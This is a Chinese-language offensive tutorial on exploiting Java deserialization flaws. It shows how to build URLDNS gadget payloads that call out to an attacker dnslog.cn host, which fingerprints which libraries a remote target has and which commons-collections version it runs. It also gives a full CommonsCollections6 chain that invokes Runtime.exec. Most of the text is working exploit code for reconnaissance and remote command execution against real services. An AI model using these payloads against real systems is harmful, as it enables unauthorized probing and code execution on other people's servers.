有时候我们发现远程有一个反序列化的漏洞,但是我们不知道有什么依赖,如果单纯的盲打反序列化链就要一个个试,如果知道依赖了以后我们也方便本地构造payload
普通的dnslog请求payload
URL url = new URL("http://aaaa.fnht9d.dnslog.cn");
HashMap hashMap = new HashMap();
Method putVal = hashMap.getClass().getDeclaredMethod("putVal", new Class[]{int.class, Object.class, Object.class, boolean.class, boolean.class});
putVal.setAccessible(true);
putVal.invoke(hashMap,new Object[]{0,url,"a",false,false});
serialize(hashMap);
HashMap是个key value得键值对,然后会调用hash(key)来触发dnslog,之前value我们都是随便传的,但是实际上我们可以利用这个value来探测依赖
我们这里随便传入一个本地才有的class,demo
public static HashMap getURLDNSGadget(String urls, Class clazz) throws Exception{
HashMap hashMap = new HashMap();
URL url = new URL(urls);
Method putVal = hashMap.getClass().getDeclaredMethod("putVal", new Class[]{int.class, Object.class, Object.class, boolean.class, boolean.class});
putVal.setAccessible(true);
putVal.invoke(hashMap,new Object[]{0,url,clazz,false,false});
return hashMap;
}
HashMap test=getURLDNSGadget("http://testaa.fnht9d.dnslog.cn",demo.class);
serialize(test);
我们可以看到HashMap的readobejct里面,他是先把对应的key value反序列化出来再调用hash这个函数触发dnslog,如果value反序列化失败了,那么就不会有log了
所以这里可以看到远程报错,然后就没有dnslog请求
如果传入一个存在的类,比如说jdk里面自带的Map,就可以发现成功获取到dnslog
HashMap test=getURLDNSGadget("http://testaa.fnht9d.dnslog.cn",Map.class);
serialize(test);
以cc6为例
ConstantTransformer constantTransformer=new ConstantTransformer(Runtime.class);
InvokerTransformer getMethod = new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null});
InvokerTransformer invokeMethod = new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null,null});
InvokerTransformer execMethod = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"code"});
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{constantTransformer,getMethod,invokeMethod,execMethod});
Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"b");
HashMap hashMap = new HashMap();
Method putVal = hashMap.getClass().getDeclaredMethod("putVal", new Class[]{int.class, Object.class, Object.class, boolean.class, boolean.class});
putVal.setAccessible(true);
putVal.invoke(hashMap,new Object[]{0,tiedMapEntry,"a",false,false});
serialize(hashMap);
deserialize();
这里面可以看到有ConstantTransformer InvokerTransformer ChainedTransformer LazyMap TiedMapEntry commons-collection3.2.1里面的依赖
HashMap jdk的依赖
一般我们探测的原则就是非jdk自带的依赖,在这里我们只需要探测是否有commons-collection3.2.1即可
HashMap test=getURLDNSGadget("http://testaa.fnht9d.dnslog.cn",InvokerTransformer.class);
serialize(test);
但是我们这样写有一个问题,如果我们本地生成序列化payload的时候有3.2.1 4版本的,很容易分不清到底是哪个版本
所以我们调整一下,下面这种写法就可以比较清晰的看到具体的版本依赖了
public static HashMap getURLDNSGadget(String urls, String clazzName) throws Exception{
HashMap hashMap = new HashMap();
URL url = new URL(urls);
Method putVal = hashMap.getClass().getDeclaredMethod("putVal", new Class[]{int.class, Object.class, Object.class, boolean.class, boolean.class});
putVal.setAccessible(true);
putVal.invoke(hashMap,new Object[]{0,url,Class.forName(clazzName),false,false});
return hashMap;
}
HashMap test=getURLDNSGadget("http://testaa.fnht9d.dnslog.cn","org.apache.commons.collections.functors.ChainedTransformer");
serialize(test);
当然细心的朋友可能会问,如果只是类,就无法探测是commons-collection 3.2.1还是commons-collection 3.2.2,那么再调整一下
public static HashMap getURLDNSGadget(String urls, Object object) throws Exception{
HashMap hashMap = new HashMap();
URL url = new URL(urls);
Method putVal = hashMap.getClass().getDeclaredMethod("putVal", new Class[]{int.class, Object.class, Object.class, boolean.class, boolean.class});
putVal.setAccessible(true);
putVal.invoke(hashMap,new Object[]{0,url,object,false,false});
return hashMap;
}
HashMap test=getURLDNSGadget("http://testaaaaaa.fnht9d.dnslog.cn",new InvokerTransformer("a",null,null));
serialize(test);
如果远程是commons-collection.3.2.2以上,就会报错,收不到dnslog请求